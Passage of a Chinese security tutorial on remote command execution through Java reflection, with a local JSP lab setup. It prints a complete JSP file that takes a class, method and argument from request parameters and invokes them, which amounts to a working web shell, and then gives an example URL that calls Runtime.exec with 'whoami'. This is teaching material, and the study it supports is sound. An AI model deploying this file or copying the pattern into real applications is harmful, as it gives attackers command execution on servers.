0x01 前言
在我们上面几篇文章中讲的都是某个类我们可控造成的命令执行
但是有没有可能说代码中没有出现任何一个可执行函数(如exec()、system()等),一样也可以造成命令执行呢?
也是有可能,就是当项目中使用了反射但是同时里面的一些参数可控,那么也是有可能造成命令执行的
0x02 环境搭配
为了能模拟实战,这边搭建了一个JSP环境
如果还不会搭建jsp环境的可以按照下面的文章跟着搭建
Mac版IDEA创建maven web项目-详细过程: https://www.yuque.com/pmiaowu/gpy1q8/npv0fr
0x04 例子
# 在 webapp目录下面新建立一个文件: rceTest.jsp# 文件名: rceTest.jsp# command 为请求的类# method 为请求类的方法# str 为请求类的参数# 服务端接收这三个参数后执行 method 的具体方法<%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.lang.reflect.Method" %><%@ page import="java.io.InputStream" %><%@ page import="java.io.ByteArrayOutputStream" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><%// 接收参数String name = request.getParameter("command");String method = request.getParameter("method");String str = request.getParameter("str");// 获取类的无参数构造方法Class getCommandClass = Class.forName(name);Constructor constructor = getCommandClass.getDeclaredConstructor();constructor.setAccessible(true);// 实例化类Object getInstance = constructor.newInstance();// 获取类方法Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);getCommandMethod.setAccessible(true);// 调用类方法Process p = (Process) getCommandMethod.invoke(getInstance, str);// 获取结果InputStream in = p.getInputStream();ByteArrayOutputStream results = new ByteArrayOutputStream();byte[] b = new byte[1024];int l = -1;while ((l = in.read(b)) != -1) {results.write(b, 0, l);}out.println("即将执行的操作指令");out.print(results);%>
访问url:http://127.0.0.1:8081/mavenJspTest_war/rceTest.jsp?command=java.lang.Runtime&method=exec&str=whoami
命令执行效果如下: 
